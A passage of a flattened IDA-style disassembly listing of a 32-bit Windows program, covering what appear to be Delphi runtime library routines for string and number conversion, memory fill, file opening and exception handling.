mov eax, esi pop esi pop ebx retn sub_4018F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401948 proc near ; CODE XREF: sub_407720+1Fp push ebx mov bl, [edx] cmp cl, bl jbe short loc_401951 mov ecx, ebx loc_401951: ; CODE XREF: sub_401948+5j mov [eax], cl inc edx inc eax and ecx, 0FFh xchg eax, edx call sub_401340 pop ebx retn sub_401948 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401964 proc near ; CODE XREF: sub_401780+Fp ; sub_406E6C+7Ep ... push edi mov edi, eax mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, edx sar ecx, 2 js short loc_401981 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_401981: ; CODE XREF: sub_401964+12j pop edi retn sub_401964 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401984 proc near ; CODE XREF: CODE:00407E8Cp push ebx xor ebx, ebx imul edx, ds:dword_409008[ebx], 8088405h inc edx mov ds:dword_409008[ebx], edx mul edx mov eax, edx pop ebx retn sub_401984 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4019A0 proc near ; DATA XREF: sub_4019C8+35o push ebx push esi mov ebx, eax mov word ptr [ebx+4], 0D7B0h xor esi, esi mov eax, [ebx] call sub_4015A4 test al, al jnz short loc_4019C1 call sub_401314 mov esi, 1 loc_4019C1: ; CODE XREF: sub_4019A0+15j mov eax, esi pop esi pop ebx retn sub_4019A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4019C8 proc near ; CODE XREF: sub_401AA8+5p push ebx push esi push edi mov esi, edx mov edi, ecx xor edx, edx mov ebx, eax mov dx, [eax+4] sub edx, 0D7B0h jz short loc_4019F4 cmp edx, 3 ja loc_401A8A call dword ptr [ebx+24h] test eax, eax jz short loc_4019F4 call sub_401304 loc_4019F4: ; CODE XREF: sub_4019C8+15j ; sub_4019C8+25j mov word ptr [ebx+4], 0D7B3h mov [ebx+8], esi mov dword ptr [ebx+24h], offset sub_4019A0 mov dword ptr [ebx+1Ch], offset sub_401564 cmp byte ptr [ebx+48h], 0 jz short loc_401A71 mov eax, 0C0000000h mov dl, ds:byte_40900C and edx, 70h shr edx, 2 mov edx, ds:dword_409070[edx] mov ecx, 2 sub edi, 3 jz short loc_401A53 mov ecx, 3 inc edi jz short loc_401A53 mov eax, 40000000h inc edi mov word ptr [ebx+4], 0D7B2h jz short loc_401A53 mov eax, 80000000h mov word ptr [ebx+4], 0D7B1h loc_401A53: ; CODE XREF: sub_4019C8+68j ; sub_4019C8+70j ... push 0 ; hTemplateFile push 80h ; dwFlagsAndAttributes push ecx ; dwCreationDisposition push 0 ; lpSecurityAttributes push edx ; dwShareMode push eax ; dwDesiredAccess lea eax, [ebx+48h] push eax ; lpFileName call CreateFileA loc_401A68: ; CODE XREF: sub_4019C8+C0j cmp eax, 0FFFFFFFFh jz short loc_401A91 mov [ebx], eax jmp short loc_401AA1 ; --------------------------------------------------------------------------- loc_401A71: ; CODE XREF: sub_4019C8+47j mov dword ptr [ebx+24h], offset sub_401564 cmp edi, 3 jz short loc_401A81 push 0FFFFFFF6h jmp short loc_401A83 ; --------------------------------------------------------------------------- loc_401A81: ; CODE XREF: sub_4019C8+B3j push 0FFFFFFF5h ; nStdHandle loc_401A83: ; CODE XREF: sub_4019C8+B7j call GetStdHandle jmp short loc_401A68 ; --------------------------------------------------------------------------- loc_401A8A: ; CODE XREF: sub_4019C8+1Aj mov eax, 66h jmp short loc_401A9C ; --------------------------------------------------------------------------- loc_401A91: ; CODE XREF: sub_4019C8+A3j mov word ptr [ebx+4], 0D7B0h call GetLastError loc_401A9C: ; CODE XREF: sub_4019C8+C7j call sub_401304 loc_401AA1: ; CODE XREF: sub_4019C8+A7j pop edi pop esi pop ebx retn sub_4019C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401AA8 proc near ; CODE XREF: CODE:00407ECAp mov ecx, 3 call sub_4019C8 retn sub_401AA8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401AB4 proc near ; CODE XREF: sub_401B14+4p var_26 = byte ptr -26h var_24 = byte ptr -24h var_10 = dword ptr -10h push ebx push esi push edi push edx sub esp, 14h mov edi, ecx mov esi, eax cdq xor eax, edx sub eax, edx mov ecx, 0Ah xor ebx, ebx loc_401ACB: ; CODE XREF: sub_401AB4+24j xor edx, edx div ecx add edx, 30h mov [esp+ebx+24h+var_24], dl inc ebx test eax, eax jnz short loc_401ACB test esi, esi jge short loc_401AE3 mov [esp+ebx+24h+var_24], 2Dh inc ebx loc_401AE3: ; CODE XREF: sub_401AB4+28j mov [edi], bl inc edi mov ecx, [esp+24h+var_10] cmp ecx, 0FFh jle short loc_401AF7 mov ecx, 0FFh loc_401AF7: ; CODE XREF: sub_401AB4+3Cj sub ecx, ebx jle short loc_401B02 add [edi-1], cl mov al, 20h rep stosb loc_401B02: ; CODE XREF: sub_401AB4+45j ; sub_401AB4+56j mov al, [esp+ebx-1] mov [edi], al inc edi dec ebx jnz short loc_401B02 add esp, 18h pop edi pop esi pop ebx retn sub_401AB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401B14 proc near ; CODE XREF: sub_407720+12p mov ecx, edx xor edx, edx call sub_401AB4 retn sub_401B14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401B20 proc near ; CODE XREF: sub_4043F0+6p push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_401B96 xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_401B33: ; CODE XREF: sub_401B20+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_401B33 mov ch, 0 cmp bl, 2Dh jz short loc_401BA4 cmp bl, 2Bh jz short loc_401BA6 cmp bl, 24h jz short loc_401BAB cmp bl, 78h jz short loc_401BAB cmp bl, 58h jz short loc_401BAB cmp bl, 30h jnz short loc_401B6E mov bl, [esi] inc esi cmp bl, 78h jz short loc_401BAB cmp bl, 58h jz short loc_401BAB test bl, bl jz short loc_401B8C jmp short loc_401B72 ; --------------------------------------------------------------------------- loc_401B6E: ; CODE XREF: sub_401B20+39j ; sub_401B20+89j test bl, bl jz short loc_401B9F loc_401B72: ; CODE XREF: sub_401B20+4Cj ; sub_401B20+6Aj sub bl, 30h cmp bl, 9 ja short loc_401B9F cmp eax, edi ja short loc_401B9F lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_401B72 loc_401B8C: ; CODE XREF: sub_401B20+4Aj dec ch jz short loc_401B99 test eax, eax jge short loc_401BE2 jmp short loc_401B9F ; --------------------------------------------------------------------------- loc_401B96: ; CODE XREF: sub_401B20+8j ; sub_401B20+95j inc esi jmp short loc_401B9F ; --------------------------------------------------------------------------- loc_401B99: ; CODE XREF: sub_401B20+6Ej neg eax jle short loc_401BE2 js short loc_401BE2 loc_401B9F: ; CODE XREF: sub_401B20+50j ; sub_401B20+58j ... pop ebx sub esi, ebx jmp short loc_401BE5 ; --------------------------------------------------------------------------- loc_401BA4: ; CODE XREF: sub_401B20+20j inc ch loc_401BA6: ; CODE XREF: sub_401B20+25j mov bl, [esi] inc esi jmp short loc_401B6E ; --------------------------------------------------------------------------- loc_401BAB: ; CODE XREF: sub_401B20+2Aj ; sub_401B20+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_401B96 loc_401BB7: ; CODE XREF: sub_401B20+C0j cmp bl, 61h jb short loc_401BBF sub bl, 20h loc_401BBF: ; CODE XREF: sub_401B20+9Aj sub bl, 30h cmp bl, 9 jbe short loc_401BD2 sub bl, 11h cmp bl, 5 ja short loc_401B9F add bl, 0Ah loc_401BD2: ; CODE XREF: sub_401B20+A5j cmp eax, edi ja short loc_401B9F shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_401BB7 loc_401BE2: ; CODE XREF: sub_401B20+72j ; sub_401B20+7Bj ... pop ecx xor esi, esi loc_401BE5: ; CODE XREF: sub_401B20+82j mov [edx], esi pop edi pop esi pop ebx retn sub_401B20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401BEC proc near ; CODE XREF: sub_406350+A5p push esi push edi mov esi, eax mov edi, edx and ecx, 0FFh repe cmpsb pop edi pop esi retn sub_401BEC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C00 proc near ; CODE XREF: sub_404F3D+58p jmp sub_401C08 sub_401C00 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401C08 proc near ; CODE XREF: sub_401C00j push ebx xor ebx, ebx test eax, eax jl short loc_401C5C jz loc_401CAB cmp eax, 1400h jge loc_401CA1 mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte_401CB7[ebx+edx*2] fmulp st(1), st shr eax, 5 jz short loc_401CAB mov edx, eax and edx, 0Fh jz short loc_401C49 lea edx, [edx+edx*4] fld tbyte ptr byte_401DED[ebx+edx*2] fmulp st(1), st loc_401C49: ; CODE XREF: sub_401C08+33j shr eax, 4 jz short loc_401CAB lea eax, [eax+eax*4] fld tbyte_401E83[ebx+eax*2] fmulp st(1), st jmp short loc_401CAB ; --------------------------------------------------------------------------- loc_401C5C: ; CODE XREF: sub_401C08+5j neg eax cmp eax, 1400h jge short loc_401CA9 mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte_401CB7[ebx+edx*2] fdivp st(1), st shr eax, 5 jz short loc_401CAB mov edx, eax and edx, 0Fh jz short loc_401C8E lea edx, [edx+edx*4] fld tbyte ptr byte_401DED[ebx+edx*2] fdivp st(1), st loc_401C8E: ; CODE XREF: sub_401C08+78j shr eax, 4 jz short loc_401CAB lea eax, [eax+eax*4] fld tbyte_401E83[ebx+eax*2] fdivp st(1), st jmp short loc_401CAB ; --------------------------------------------------------------------------- loc_401CA1: ; CODE XREF: sub_401C08+12j fld tbyte_401CAD[ebx] jmp short loc_401CAB ; --------------------------------------------------------------------------- loc_401CA9: ; CODE XREF: sub_401C08+5Bj fldz loc_401CAB: ; CODE XREF: sub_401C08+7j ; sub_401C08+2Cj ... pop ebx retn sub_401C08 endp ; --------------------------------------------------------------------------- tbyte_401CAD dt 1.1897314953572317651e4932 ; DATA XREF: sub_401C08:loc_401CA1r tbyte_401CB7 dt 1.0 ; DATA XREF: sub_401C08+20r ; sub_401C08+65r align 8 dd 4002A0h, 0 dd 5C80000h, 40h, 0 dd 4008FAh, 0 dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0 dd 12F42400h, 40h, 96800000h, 401698h, 0 dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0 dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h dd 40h, 84E72A00h, 402A91h, 0F4800000h, 2DB5E620h, 40h dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h dd 403E8Ah, 0C5AC6200h, 41AD78EBh, 7A800040h, 0D726B717h dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah dd 404BA9h, 0CECCEDA1h, 4ED3C21Bh, 1484A040h, 59516140h dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h, 8F07D736h dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h db 40h byte_401DED db 96h ; DATA XREF: sub_401C08+38r ; sub_401C08+7Dr dw 8122h dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh, 0CFA6D540h dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh, 0E98CE041h dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh, 0CCE37643h dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h dd 7A4AE1EBh db 95h, 0CFh, 45h tbyte_401E83 dt 9.9999999999999999996e479 ; DATA XREF: sub_401C08+49r ; sub_401C08+8Er db 0C7h, 91h, 0Eh dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h dd 3511626Eh, 0C37BCAAEh ; =============== S U B R O U T I N E ======================================= sub_401EE8 proc near ; CODE XREF: sub_4021A4+20p fninit wait fldcw ds:word_409010 retn sub_401EE8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401EF4 proc near ; CODE XREF: CODE:004057A7p push esi push edi mov edi, edx mov esi, [eax-2Ch] xor ecx, ecx mov cl, [esi] inc ecx rep movsb pop edi pop esi retn sub_401EF4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401F08 proc near ; DATA XREF: CODE:0040104Co ; CODE:00403A18o ... push ebx mov ebx, eax mov eax, ebx call sub_401F38 call sub_401200 mov edx, eax mov eax, ebx call sub_401F5C pop ebx retn sub_401F08 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401F24 proc near ; CODE XREF: sub_405A74+6p ; DATA XREF: CODE:00401050o ... push ebx mov ebx, eax mov eax, ebx call sub_401FB4 mov eax, ebx call sub_401218 pop ebx retn sub_401F24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401F38 proc near ; CODE XREF: sub_401F08+5p add eax, 0FFFFFFD8h mov eax, [eax] retn sub_401F38 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401F40 proc near ; DATA XREF: CODE:00401054o ; CODE:00403A20o ... call sub_4020E0 test dl, dl jle short locret_401F4E call sub_4020C8 locret_401F4E: ; CODE XREF: sub_401F40+7j retn sub_401F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401F50 proc near ; CODE XREF: sub_4021A4+11Fj ; sub_402330+30p ... test eax, eax jz short locret_401F5B mov dl, 1 mov ecx, [eax] call dword ptr [ecx-4] locret_401F5B: ; CODE XREF: sub_401F50+2j retn sub_401F50 endp ; =============== S U B R O U T I N E ======================================= sub_401F5C proc near ; CODE XREF: sub_401F08+13p push ebx push esi push edi mov ebx, eax mov edi, edx stosd mov ecx, [ebx-28h] xor eax, eax push ecx shr ecx, 2 dec ecx rep stosd pop ecx and ecx, 3 rep stosb mov eax, edx mov edx, esp loc_401F7A: ; CODE XREF: sub_401F5C+2Fj mov ecx, [ebx-48h] test ecx, ecx jz short loc_401F82 push ecx loc_401F82: ; CODE XREF: sub_401F5C+23j mov ebx, [ebx-24h] test ebx, ebx jz short loc_401F8D mov ebx, [ebx] jmp short loc_401F7A ; --------------------------------------------------------------------------- loc_401F8D: ; CODE XREF: sub_401F5C+2Bj cmp esp, edx jz short loc_401FAE loc_401F91: ; CODE XREF: sub_401F5C+50j pop ebx mov ecx, [ebx] add ebx, 4 loc_401F97: ; CODE XREF: sub_401F5C+4Cj mov esi, [ebx+10h] test esi, esi jz short loc_401FA4 mov edi, [ebx+14h] mov [edi+eax], esi loc_401FA4: ; CODE XREF: sub_401F5C+40j add ebx, 1Ch dec ecx jnz short loc_401F97 cmp esp, edx jnz short loc_401F91 loc_401FAE: ; CODE XREF: sub_401F5C+33j pop edi pop esi pop ebx retn sub_401F5C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401FB4 proc near ; CODE XREF: sub_401F24+5p push ebx push esi mov ebx, eax mov esi, eax loc_401FBA: ; CODE XREF: sub_401FB4+1Bj mov esi, [esi] mov edx, [esi-40h] mov esi, [esi-24h] test edx, edx jz short loc_401FCD call sub_402C3C mov eax, ebx loc_401FCD: ; CODE XREF: sub_401FB4+10j test esi, esi jnz short loc_401FBA pop esi pop ebx retn sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= sub_401FD4 proc near ; CODE XREF: CODE:00405750p ; sub_405EC8+96p push ebx push esi mov esi, edx mov ebx, eax test ebx, ebx jz short loc_401FEB mov edx, esi mov eax, [ebx] call sub_402028 test al, al jnz short loc_401FF0 loc_401FEB: ; CODE XREF: sub_401FD4+8j xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_401FF0: ; CODE XREF: sub_401FD4+15j mov al, 1 pop esi pop ebx retn sub_401FD4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401FF8 proc near ; CODE XREF: sub_402050+13p push edi xchg eax, esi jmp short loc_401FFE ; --------------------------------------------------------------------------- loc_401FFC: ; CODE XREF: sub_401FF8+1Fj mov esi, [esi] loc_401FFE: ; CODE XREF: sub_401FF8+2j mov edi, [esi-30h] test edi, edi jz short loc_402012 movzx ecx, word ptr [edi] push ecx add edi, 2 repne scasw jz short loc_40201B pop ecx loc_402012: ; CODE XREF: sub_401FF8+Bj mov esi, [esi-24h] test esi, esi jnz short loc_401FFC pop edi retn ; --------------------------------------------------------------------------- loc_40201B: ; CODE XREF: sub_401FF8+17j pop eax add eax, eax sub eax, ecx mov esi, [edi+eax*2-4] pop edi retn sub_401FF8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402028 proc near ; CODE XREF: sub_401FD4+Ep jmp short loc_40202C ; --------------------------------------------------------------------------- loc_40202A: ; CODE XREF: sub_402028+Dj mov eax, [eax] loc_40202C: ; CODE XREF: sub_402028j cmp eax, edx jz short loc_402038 mov eax, [eax-24h] test eax, eax jnz short loc_40202A retn ; --------------------------------------------------------------------------- loc_402038: ; CODE XREF: sub_402028+6j mov al, 1 retn sub_402028 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40203C proc near ; DATA XREF: CODE:00401038o ; CODE:00403A04o ... mov eax, 8000FFFFh retn sub_40203C endp ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_402050 proc near ; DATA XREF: CODE:00401044o ; CODE:00403A10o ... push esi mov si, [edx] or si, si jz short loc_402070 cmp si, 0C000h jnb short loc_402070 push eax mov eax, [eax] call sub_401FF8 pop eax jz short loc_402070 mov ecx, esi pop esi jmp ecx ; --------------------------------------------------------------------------- loc_402070: ; CODE XREF: sub_402050+7j ; sub_402050+Ej ... pop esi mov ecx, [eax] jmp dword ptr [ecx-10h] sub_402050 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402078 proc near ; CODE XREF: sub_4058E8+Ap ; sub_405924+Fp ... arg_0 = byte ptr 4 push edx push ecx push ebx test dl, dl jl short loc_402082 call dword ptr [eax-0Ch] loc_402082: ; CODE XREF: sub_402078+5j xor edx, edx lea ecx, [esp+0Ch+arg_0] mov ebx, fs:[edx] mov [ecx], ebx mov [ecx+8], ebp mov dword ptr [ecx+4], offset sub_4020A1 mov [ecx+0Ch], eax mov fs:[edx], ecx pop ebx pop ecx pop edx retn sub_402078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A1 proc near ; DATA XREF: sub_402078+18o jmp sub_4021A4 sub_4020A1 endp ; --------------------------------------------------------------------------- mov eax, [esp+2Ch] mov eax, [eax+0Ch] test eax, eax jz short loc_4020BF mov ecx, [eax] mov dl, 81h push eax call dword ptr [ecx-4] pop eax call sub_4020C8 loc_4020BF: ; CODE XREF: CODE:004020AFj call sub_402330 retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4020C8 proc near ; CODE XREF: sub_401F40+9p ; CODE:004020BAp mov edx, [eax] call dword ptr [edx-8] retn sub_4020C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4020D0 proc near ; CODE XREF: sub_4058E8+25p ; sub_405924+67p ... push ebx mov ebx, eax mov eax, ebx mov edx, [eax] call dword ptr [edx-1Ch] mov eax, ebx pop ebx retn sub_4020D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4020E0 proc near ; CODE XREF: sub_401F40p test dl, dl jg short loc_4020E5 retn ; --------------------------------------------------------------------------- loc_4020E5: ; CODE XREF: sub_4020E0+2j push eax push edx mov edx, [eax] call dword ptr [edx-18h] pop edx pop eax retn sub_4020E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4020F0 proc near ; CODE XREF: sub_402330+35p cmp ds:byte_409014, 1 jbe short locret_40210A push 0 push 0 push 0 push 0EEDFADFh call ds:dword_40A014 locret_40210A: ; CODE XREF: sub_4020F0+7j retn sub_4020F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40210C proc near ; CODE XREF: sub_4021A4+4Dp cmp ds:byte_409014, 0 jz short locret_40212C push eax push eax push edx push esp push 2 push 0 push 0EEDFAE4h call ds:dword_40A014 add esp, 8 pop eax locret_40212C: ; CODE XREF: sub_40210C+7j retn sub_40210C endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_402148 loc_402130: ; CODE XREF: sub_402148+Bj push esp push 1 push 0 push 0EEDFAE0h call ds:dword_40A014 add esp, 4 pop eax retn ; END OF FUNCTION CHUNK FOR sub_402148 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402148 proc near ; CODE XREF: sub_4021A4+FDp ; FUNCTION CHUNK AT 00402130 SIZE 00000015 BYTES cmp ds:byte_409014, 1 jbe short locret_402158 push eax push ebx jmp loc_402130 ; --------------------------------------------------------------------------- locret_402158: ; CODE XREF: sub_402148+7j retn sub_402148 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40215C proc near ; CODE XREF: sub_40217C+Cp test ecx, ecx jz short locret_402179 mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_402174 cmp byte ptr [ecx], 0EBh jnz short locret_402179 movsx eax, al inc ecx inc ecx jmp short loc_402177 ; --------------------------------------------------------------------------- loc_402174: ; CODE XREF: sub_40215C+Aj add ecx, 5 loc_402177: ; CODE XREF: sub_40215C+16j add ecx, eax locret_402179: ; CODE XREF: sub_40215C+2j ; sub_40215C+Fj retn sub_40215C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40217C proc near ; CODE XREF: sub_4021A4+151p cmp ds:byte_409014, 1 jbe short locret_4021A2 push eax push edx push ecx call sub_40215C push ecx push esp push 1 push 0 push 0EEDFAE1h call ds:dword_40A014 pop ecx pop ecx pop edx pop eax locret_4021A2: ; CODE XREF: sub_40217C+7j retn sub_40217C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4021A4(struct _EXCEPTION_POINTERS ExceptionInfo, int, int, int, int, int, int, int, int) sub_4021A4 proc near ; CODE XREF: sub_4020A1j ExceptionInfo = _EXCEPTION_POINTERS ptr 4 arg_8 = dword ptr 0Ch arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 004022D0 SIZE 00000036 BYTES mov eax, [esp+ExceptionInfo.ExceptionRecord] test dword ptr [eax+4], 6 jnz loc_4022C8 cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_402231 cld call sub_401EE8 mov edx, ds:dword_40A010 test edx, edx jz loc_4022C8 call edx ; dword_40A010 test eax, eax jz loc_4022C8 mov edx, [esp+arg_8] mov ecx, [esp+ExceptionInfo.ExceptionRecord] cmp dword ptr [ecx], 0EEFFACEh jz short loc_402228 call sub_40210C cmp ds:byte_409018, 0 jbe short loc_402228 cmp ds:byte_409014, 0 ja short loc_402228 lea ecx, [esp+ExceptionInfo] push eax push ecx ; ExceptionInfo call UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_4022C8 mov edx, eax mov eax, [esp+ExceptionInfo.ExceptionRecord] mov ecx, [eax+0Ch] jmp short loc_402258 ; --------------------------------------------------------------------------- loc_402228: ; CODE XREF: sub_4021A4+4Bj ; sub_4021A4+59j ... mov edx, eax mov eax, [esp+ExceptionInfo.ExceptionRecord] mov ecx, [eax+0Ch] loc_402231: ; CODE XREF: sub_4021A4+1Dj cmp ds:byte_409018, 1 jbe short loc_402258 cmp ds:byte_409014, 0 ja short loc_402258 push eax lea eax, [esp+4+ExceptionInfo] push edx push ecx push eax ; ExceptionInfo call UnhandledExceptionFilter cmp eax, 0 pop ecx pop edx pop eax jz short loc_4022C8 loc_402258: ; CODE XREF: sub_4021A4+82j ; sub_4021A4+94j ... or dword ptr [eax+4], 2 push ebx xor ebx, ebx push esi push edi push ebp mov ebx, fs:[ebx] push ebx push eax push edx push ecx mov edx, [esp+20h+ExceptionInfo.ContextRecord] push 0 push eax push offset loc_40227C push edx call ds:dword_40A018 loc_40227C: ; DATA XREF: sub_4021A4+CCo mov edi, [esp+arg_24] call sub_4034D8 push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov ebx, [edi+4] mov dword ptr [edi+4], offset loc_4022A8 add ebx, 5 call sub_402148 jmp ebx ; --------------------------------------------------------------------------- loc_4022A8: ; DATA XREF: sub_4021A4+F3o jmp loc_4022D0 ; --------------------------------------------------------------------------- call sub_4034D8 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_401F50 ; --------------------------------------------------------------------------- loc_4022C8: ; CODE XREF: sub_4021A4+Bj ; sub_4021A4+2Dj ... mov eax, 1 retn sub_4021A4 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_4021A4 loc_4022D0: ; CODE XREF: sub_4021A4:loc_4022A8j ; sub_4030F8:loc_4031FDj ... mov eax, [esp+ExceptionInfo.ExceptionRecord] mov edx, [esp+ExceptionInfo.ContextRecord] test dword ptr [eax+4], 6 jz short loc_402300 mov ecx, [edx+4] mov dword ptr [edx+4], offset loc_402300 push ebx push esi push edi push ebp mov ebp, [edx+8] add ecx, 5 call sub_40217C call ecx pop ebp pop edi pop esi pop ebx loc_402300: ; CODE XREF: sub_4021A4+13Bj ; DATA XREF: sub_4021A4+140o mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_4021A4 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402308 proc near ; CODE XREF: sub_4043CC+19p ; sub_405B20+4Bj ... or eax, eax jnz short loc_402316 mov eax, 0D8h call sub_4025BC ; --------------------------------------------------------------------------- loc_402316: ; CODE XREF: sub_402308+2j pop edx push esp push ebp push edi push esi push ebx push eax push edx push esp push 7 push 1 push 0EEDFADEh push edx jmp ds:dword_40A014 sub_402308 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402330 proc near ; CODE XREF: CODE:loc_4020BFp arg_2C = dword ptr 30h mov eax, [esp+arg_2C] mov dword ptr [eax+4], offset loc_40237B call sub_4034D8 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+0Ch] and dword ptr [eax+4], 0FFFFFFFDh cmp dword ptr [eax], 0EEDFADEh jz short loc_40236A mov eax, [edx+8] call sub_401F50 call sub_4020F0 loc_40236A: ; CODE XREF: sub_402330+2Bj xor eax, eax add esp, 14h mov edx, fs:[eax] pop ecx mov edx, [edx] mov [ecx], edx pop ebp pop edi pop esi pop ebx loc_40237B: ; DATA XREF: sub_402330+4o mov eax, 1 retn sub_402330 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402384 proc near ; CODE XREF: sub_4024E0:loc_40252Ep ; DATA XREF: DATA:off_409038o push ebx push esi push edi push ebp mov edi, offset dword_40A5AC mov eax, [edi+8] test eax, eax jz short loc_4023B2 mov ebx, [edi+0Ch] mov esi, [eax+4] test ebx, ebx jle short loc_4023B2 loc_40239E: ; CODE XREF: sub_402384+2Cj dec ebx mov [edi+0Ch], ebx mov eax, [esi+ebx*8+4] test eax, eax jz short loc_4023AE mov ebp, eax call ebp loc_4023AE: ; CODE XREF: sub_402384+24j test ebx, ebx jg short loc_40239E loc_4023B2: ; CODE XREF: sub_402384+Ej ; sub_402384+18j pop ebp pop edi pop esi pop ebx retn sub_402384 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4023B8 proc near ; CODE XREF: sub_4023B8+43p ; sub_40240C+12p ; DATA XREF: ... push ebx push esi push 